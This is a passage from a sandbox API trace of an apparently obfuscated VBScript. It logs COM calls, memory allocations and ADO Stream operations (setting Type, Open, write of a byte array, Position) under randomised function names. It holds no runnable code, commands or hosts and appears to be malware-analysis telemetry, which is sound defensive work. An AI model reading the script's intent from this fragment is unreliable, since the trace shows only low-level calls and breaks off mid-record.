out: ppvObject=0x14b8e4*=0x0) returned 0x80004002 [0068.858] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b8ec | out: ppvObject=0x14b8ec*=0x962bad0) returned 0x0 [0068.858] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0068.858] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b8b0 | out: ppvObject=0x14b8b0*=0x962bb00) returned 0x0 [0068.858] ??2@YAPAXI@Z () returned 0x1112a88 [0068.858] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112a88) returned 0x0 [0068.858] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b7f8 | out: ppvObject=0x14b7f8*=0x0) returned 0x80004002 [0068.858] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b7e8 | out: ppvObject=0x14b7e8*=0x0) returned 0x80004002 [0068.858] DOMDocument:IUnknown:AddRef (This=0x1112a88) returned 0x2 [0068.858] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b848 | out: ppvObject=0x14b848*=0x0) returned 0x80004002 [0068.858] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b844 | out: ppvObject=0x14b844*=0x1112a88) returned 0x0 [0068.858] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14b86c | out: ppvObject=0x14b86c*=0x0) returned 0x80004002 [0068.858] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b820 | out: ppvObject=0x14b820*=0x83fd480) returned 0x0 [0068.858] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b81c | out: ppvObject=0x14b81c*=0x83fd490) returned 0x0 [0068.858] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14b86c | out: ppvObject=0x14b86c*=0x0) returned 0x80004002 [0068.859] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.859] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.859] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0068.859] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b84c | out: ppvObject=0x14b84c*=0x1112a88) returned 0x0 [0068.859] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b840 | out: ppvObject=0x14b840*=0x0) returned 0x80004002 [0068.859] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b818 | out: ppvObject=0x14b818*=0x83fd480) returned 0x0 [0068.859] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14b814 | out: ppvObject=0x14b814*=0x83fd490) returned 0x0 [0068.859] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14b840 | out: ppvObject=0x14b840*=0x0) returned 0x80004002 [0068.859] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.859] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.859] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x2 [0068.859] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0068.859] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b8a0 | out: ppvObject=0x14b8a0*=0x962bad0) returned 0x0 [0068.859] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0068.859] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0068.859] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.859] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.860] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x0 [0068.860] ??3@YAXPAX@Z () returned 0x110001 [0068.860] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.860] ??3@YAXPAX@Z () returned 0x840001 [0068.860] ??3@YAXPAX@Z () returned 0x4a0001 [0068.860] ??3@YAXPAX@Z () returned 0xffff0001 [0068.860] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.861] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.861] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.861] GetCurrentThreadId () returned 0xd44 [0068.861] IUnknown:Release (This=0x1197760) returned 0x8 [0068.861] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.861] malloc (_Size=0x804) returned 0x8790008 [0068.861] ??2@YAPAXI@Z () returned 0x1198d68 [0068.861] ??3@YAXPAX@Z () returned 0x1 [0068.861] malloc (_Size=0x204) returned 0x8790818 [0068.862] malloc (_Size=0x40) returned 0x1197880 [0068.862] malloc (_Size=0xd4) returned 0x11892f8 [0068.862] ??2@YAPAXI@Z () returned 0x11291c0 [0068.862] free (_Block=0x83d08e0) [0068.862] free (_Block=0x8790008) [0068.862] ??3@YAXPAX@Z () returned 0xffff0001 [0068.862] free (_Block=0x1197880) [0068.862] free (_Block=0x8790818) [0068.862] free (_Block=0x11c2300) [0068.862] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.862] ??2@YAPAXI@Z () returned 0x83fd610 [0068.862] IUnknown:AddRef (This=0x1197760) returned 0x9 [0068.862] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.862] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0068.863] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=4) returned 0x0 [0068.863] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.863] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0068.863] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0068.863] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.863] ??3@YAXPAX@Z () returned 0x840001 [0068.863] ??3@YAXPAX@Z () returned 0x4a0001 [0068.863] ??3@YAXPAX@Z () returned 0xffff0001 [0068.863] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.864] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="svksovosrgh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.864] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="svksovosrgh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.864] GetCurrentThreadId () returned 0xd44 [0068.864] IUnknown:Release (This=0x1197760) returned 0x8 [0068.864] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.864] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.864] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.864] GetCurrentThreadId () returned 0xd44 [0068.864] IUnknown:Release (This=0x1197760) returned 0x8 [0068.864] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.864] malloc (_Size=0x804) returned 0x8790008 [0068.865] ??2@YAPAXI@Z () returned 0x1198d68 [0068.865] ??3@YAXPAX@Z () returned 0x1 [0068.865] malloc (_Size=0x204) returned 0x8790818 [0068.865] malloc (_Size=0x40) returned 0x1197880 [0068.865] malloc (_Size=0xcc) returned 0x1198d68 [0068.865] ??2@YAPAXI@Z () returned 0x11291c0 [0068.865] free (_Block=0x83d08e0) [0068.865] free (_Block=0x8790008) [0068.865] ??3@YAXPAX@Z () returned 0xffff0001 [0068.865] free (_Block=0x1197880) [0068.865] free (_Block=0x8790818) [0068.865] free (_Block=0x11c2300) [0068.865] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.865] ??2@YAPAXI@Z () returned 0x83fd610 [0068.865] IUnknown:AddRef (This=0x1197760) returned 0x9 [0068.865] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.865] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0068.866] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Open", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=10) returned 0x0 [0068.866] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.866] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0068.866] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0068.866] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.866] ??3@YAXPAX@Z () returned 0x840001 [0068.866] ??3@YAXPAX@Z () returned 0x4a0001 [0068.866] ??3@YAXPAX@Z () returned 0xffff0001 [0068.866] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.867] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ivrejk", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.867] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ivrejk", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.867] GetCurrentThreadId () returned 0xd44 [0068.867] IUnknown:Release (This=0x1197760) returned 0x8 [0068.867] malloc (_Size=0x404) returned 0x8444028 [0068.868] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.868] malloc (_Size=0x804) returned 0x8790008 [0068.868] ??2@YAPAXI@Z () returned 0x1198d68 [0068.868] ??3@YAXPAX@Z () returned 0x1 [0068.868] malloc (_Size=0x204) returned 0x8790818 [0068.868] malloc (_Size=0x40) returned 0x1197880 [0068.868] malloc (_Size=0x108) returned 0x1198d68 [0068.868] ??2@YAPAXI@Z () returned 0x11291c0 [0068.868] free (_Block=0x83d08e0) [0068.868] free (_Block=0x8790008) [0068.868] ??3@YAXPAX@Z () returned 0xffff0001 [0068.868] free (_Block=0x1197880) [0068.868] free (_Block=0x8790818) [0068.868] free (_Block=0x11c2300) [0068.869] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.869] ??2@YAPAXI@Z () returned 0x83fd610 [0068.869] IUnknown:AddRef (This=0x1197760) returned 0x9 [0068.869] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.869] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0068.869] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0068.869] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="write", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=13) returned 0x0 [0068.869] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.869] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0068.869] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x62, wReserved2=0x62, wReserved3=0x6f, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4db8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b4dce0*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), varVal2=0x67006a)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x62, wReserved2=0x62, wReserved3=0x6f, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4db8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b4dce0*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), varVal2=0x67006a)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0068.869] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.870] ??3@YAXPAX@Z () returned 0x840001 [0068.870] ??3@YAXPAX@Z () returned 0x4a0001 [0068.870] ??3@YAXPAX@Z () returned 0xffff0001 [0068.870] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0068.870] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0068.870] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0068.870] GetCurrentThreadId () returned 0xd44 [0068.870] IUnknown:Release (This=0x1197760) returned 0x8 [0068.871] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.871] malloc (_Size=0x804) returned 0x8790008 [0068.871] ??2@YAPAXI@Z () returned 0x1198d68 [0068.871] ??3@YAXPAX@Z () returned 0x1 [0068.871] malloc (_Size=0x204) returned 0x8790818 [0068.871] malloc (_Size=0x40) returned 0x1197880 [0068.871] malloc (_Size=0xe4) returned 0x1198d68 [0068.871] ??2@YAPAXI@Z () returned 0x11291c0 [0068.871] free (_Block=0x83d08e0) [0068.871] free (_Block=0x8790008) [0068.871] ??3@YAXPAX@Z () returned 0xffff0001 [0068.871] free (_Block=0x1197880) [0068.871] free (_Block=0x8790818) [0068.871] free (_Block=0x11c2300) [0068.871] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.871] ??2@YAPAXI@Z () returned 0x83fd610 [0068.871] IUnknown:AddRef (This=0x1197760) returned 0x9 [0068.872] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.872] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0068.872] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Position", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=3) returned 0x0 [0068.872] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.872] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0068.872] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14b958*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962bad0) returned 0x0 [0068.872] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0068.872] ??3@YAXPAX@Z () returned 0x840001 [0068.872] ??3@YAXPAX@Z () returned 0x4a0001 [0068.872] ??3@YAXPAX@Z () returned 0xffff0001 [0068.873] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0068.873] Stream:IDispatch:GetIDsOfNames (in: This=0x962bad0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=4) returned 0x0 [0068.873] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0068.873] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0068.873] Stream:IDispatch:Invoke (in: This=0x962bad0, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, 